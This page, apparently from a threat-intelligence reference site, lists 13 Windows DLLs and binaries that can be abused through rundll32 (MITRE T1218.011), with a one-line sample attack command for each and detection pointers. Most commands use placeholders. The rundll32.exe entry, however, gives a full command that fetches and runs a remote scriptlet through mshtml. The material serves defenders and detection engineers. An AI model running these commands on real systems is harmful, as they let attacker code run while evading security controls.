How many Living-off-the-Land Binaries abuse T1218.011?

LOLPulse tracks 13 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Rundll32 (T1218.011).

How can detection engineers monitor for T1218.011?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1218.011Tactic: Defense EvasionOfficial MITRE ATT&CK Page

T1218.011: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code through dynamic link libraries and script protocols.

Total Capable Binaries: 13

•

Windows: 13

•

Linux: 0

•

macOS: 0

Living-off-the-Land Matrix for T1218.011

Across 13 verified binaries

Windows2 payloads

rundll32.exe

The Rundll32 program loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs). Threat actors use it to execute exported functions from arbitrary DLLs, run scriptlets, or execute code via MSHTML protocol handlers.

Sample Attack Vector:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")

Inspect rundll32.exe & Telemetry

Windows5 payloads

Advpack.dll

Utility for installing software and drivers with rundll32.exe

Sample Attack Vector:

rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,

Inspect Advpack.dll & Telemetry

Windows2 payloads

Desk.cpl

Desktop Settings Control Panel

Sample Attack Vector:

rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}

Inspect Desk.cpl & Telemetry

Windows5 payloads

Ieadvpack.dll

INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.

Sample Attack Vector:

rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,

Inspect Ieadvpack.dll & Telemetry

Windows1 payloads

Ieframe.dll

Internet Browser DLL for translating HTML code.

Sample Attack Vector:

rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}

Inspect Ieframe.dll & Telemetry

Windows1 payloads

Mshtml.dll

Microsoft HTML Viewer

Sample Attack Vector:

rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}

Inspect Mshtml.dll & Telemetry

Windows1 payloads

Pcwutl.dll

Microsoft HTML Viewer

Sample Attack Vector:

rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}

Inspect Pcwutl.dll & Telemetry

Windows2 payloads

Setupapi.dll

Windows Setup Application Programming Interface

Sample Attack Vector:

rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}

Inspect Setupapi.dll & Telemetry

Windows1 payloads

Shdocvw.dll

Shell Doc Object and Control Library.

Sample Attack Vector:

rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}

Inspect Shdocvw.dll & Telemetry

Windows4 payloads

Shell32.dll

Windows Shell Common Dll

Sample Attack Vector:

rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}

Inspect Shell32.dll & Telemetry

Windows2 payloads

Syssetup.dll

Windows NT System Setup

Sample Attack Vector:

rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}

Inspect Syssetup.dll & Telemetry

Windows6 payloads

Url.dll

Internet Shortcut Shell Extension DLL.

Sample Attack Vector:

rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}

Inspect Url.dll & Telemetry

Windows2 payloads

Zipfldr.dll

Compressed Folder library

Sample Attack Vector:

rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}

Inspect Zipfldr.dll & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers